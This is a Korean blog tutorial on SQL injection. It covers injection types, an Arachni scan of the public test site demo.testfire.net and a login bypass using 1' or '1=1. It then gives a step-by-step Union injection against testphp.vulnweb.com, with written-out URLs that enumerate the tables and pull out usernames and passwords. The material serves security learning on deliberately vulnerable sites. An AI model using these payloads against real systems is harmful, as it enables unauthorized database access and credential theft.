웹/웹 보안

Arachni를 이용한 Sql Injection 스캔 및 검증

비니화이팅 2018. 3. 27. 18:24

이번에도 Arachni를 이용하여 스캐닝을 하고 그에 대한 검증까지 해보는 시간을 갖도록 하겠습니다.


1. SQL Injection의 개념

일단 스캐닝을 하기 앞서 SQL Injection의 개념을 이해하고 가도록 하겠습니다.


SQL Injection은 웹 어플리케이션에서 데이터베이스로 전달되는 SQL 쿼리 값을 변조 및 삽입하여 비정상적인 방법으로 데이터베이스에 접근하는 공격기법을 의미합니다.


공격기법에 따라 다양한 유형이 존재합니다.

논리적 에러를 이용하는 SQL Injection

or1=1 등의 논리적 에러를 발생시킬 수 있는 패턴을 이용한 인증우회 기법이며, 에러가 발생되는 사이트에서는 에러 정보를 이용하여 데이터베이스 및 쿼리 구조 등의 정보를 추측할 수 있습니다.

예를 들어 사용자가 회원 ID에 admin, password에 1' or '1=1을 입력했다고 가정하면

$id변수에는 admin, $passwd변수에는 1' or '1=1이 들어가게 되어

$strLoginSQL = "Select * from member where id='admin' and passwd = '1' or '1=1' "; 가 됩니다.

따라서 ( id='admin' and passwd = '1' ) or ( '1=1' ) 으로 동작하게 되고 이는 ( False ) or ( True )가 됩니다.


두개 이상의 쿼리를 이용하는 Union SQL Injection

UNION은 2개 이상의 쿼리를 요청하여 결과를 얻는 SQL 연산자인데, 공격자는 이를 악용하여 원래의 요청에 한 개의 추가 쿼리를 삽입하여 정보를 얻어낼 수 있습니다.


쿼리 가능 여부를 이용하는 Blind SQL Injection

악의적인 문자열 삽입 대신 쿼리 결과(참 혹은 거짓)에 따라 정보를 취득하는 기법입니다.


저장 프로시저를 이용하는 Stored Procedure SQL Injection

저장프로시저는 운영상 편의를 위해 만들어둔 SQL 집합 형태이며, MS SQL에서 사용할 수 있는 xp_cmdshell은 윈도우 명령어를 실행하도록 역할을 제공하기 때문에 악용될 수 있습니다.


타임 기반의 Blind SQL Injection

쿼리 결과를 특정시간만큼 지연시키는 방법을 이용하는 기법으로, Blind 기법과 마찬가지로 에러가 발생되지 않는 조건에서 사용할 수 있는 기법입니다.


에러 기반의 SQL Injection

GET, POST 요청 필드, HTTP 헤더 값, 쿠키 값 등에 특수문자(싱글쿼트 혹은 세미콜론) 삽입시, SQL 에러가 발생된다면 취약점이 있다고 판단할 수 있습니다.


2. TIP

https://www.w3schools.com/sql/default.asp 를 참고하면 많은 도움이 됩니다.

- 실제 업무 시 자동화 툴(sql map)을 주로 사용합니다.

  해당 관련 포스팅입니다. -> http://itlearner.tistory.com/305



3. Arachni를 이용한 스캐닝

저는 http://demo.testfire.net을 대상으로 진행하였습니다. 

1개의 페이지에 대하여 2개의 SQL Injeciton 취약점이 발견되었습니다. 



4. 검증

스캐닝 결과 발견한 1개의 페이지에 대해서 정탐인지 검증해보도록 하겠습니다.


3-1.

http://demo.testfire.net/bank/login.aspx페이지의 uid 파라미터에 대한 스캔 정보입니다.


그렇다면 실제로도 취약점이 있는지 직접 검증해보도록 하겠습니다.

우선 폼에 1'을 Username과 Password에 각 각 입력해봅니다.


그랬더니 syntax error가 발생하였습니다.


이번에는 1' or를 입력해보았습니다.


이번에도 syntax error가 발생하였습니다.


1' or 1=1를 입력해보았습니다.


마찬가지로 syntax error가 발생하였습니다.


1' or '1=1를 입력하니


다음과 같이 SQL Injection이 성공하였습니다.


3-2.

http://demo.testfire.net/bank/login.aspx페이지의 passw파라미터에 대한 스캔 정보입니다.


점검 방식은 3-1과 같이 진행하면 되므로 넘어가도록 하겠습니다.


5. 실습

이번에는 위에서 검증한 페이지와는 별개로 http://testphp.vulnweb.com/listproducts.php?cat=1 페이지에 대해 Union SQL Injection 실습을 진행해보도록 하겠습니다.


참고로 UNION은 2개 이상의 쿼리를 요청하여 결과를 얻는 SQL 연산자이며, 공격자는 이를 악용하여 원래의 요청에 한 개의 추가 쿼리를 삽입하여 정보를 얻어내게 됩니다.


실습 대상인 http://testphp.vulnweb.com/listproducts.php?cat=1페이지입니다.


UNION문을 이용하여 DB의 필드 갯수를 확인해봅니다.

UNION문은 두 컬럼의 수가 다르면 에러가 발생합니다. 따라서 null을 하나씩 추가하여 컬럼 수가 맞아 에러 발생이 되지 않으면 해당 null의 갯수가 DB 필드 갯수가 됩니다.

 http://testphp.vulnweb.com/listproducts.php?cat=1 union all select null, null, null, null, null, null, null, null, null, null, null#


null이 11개 일 때 에러가 발생되지 않으므로 총 11개의 필드가 있는 것을 확인할 수 있습니다.


null대신 숫자를 삽입합니다.

 http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11#



7번대신 user()함수를 삽입하여 데이터베이스 계정을 추출합니다.

 http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1, 2, 3, 4, 5, 6, user(), 8, 9, 10, 11#



이번에는 데이터베이스 테이블 정보를 추출해봅니다.

 http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1, group_concat(table_name), 3, 4, 5, 6, 7, 8, 9, 10, 11 from information_schema.tables where table_schema=database()# 



추출한 테이블 중에서 user 테이블의 필드 정보를 추출합니다.

 http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1, group_concat(column_name), 3, 4, 5, 6, 7, 8, 9, 10, 11 from information_schema.columns where table_name='users'# 



그 중에서 계정 필드(uname)의 정보를 확인해봅니다.

 http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1, uname, 3, 4, 5, 6, 7, 8, 9, 10, 11 from users#



이번에는 암호 필드(pass) 정보를 확인해봅니다.

 http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1, pass, 3, 4, 5, 6, 7, 8, 9, 10, 11 from users# 



UNION SQL Injection을 통해 계정과 패스워드 정보를 알아내었습니다.



본 글은 '웹 모의해킹 및 시큐어코딩 진단가이드' 서적을 참고하여 작성하였습니다.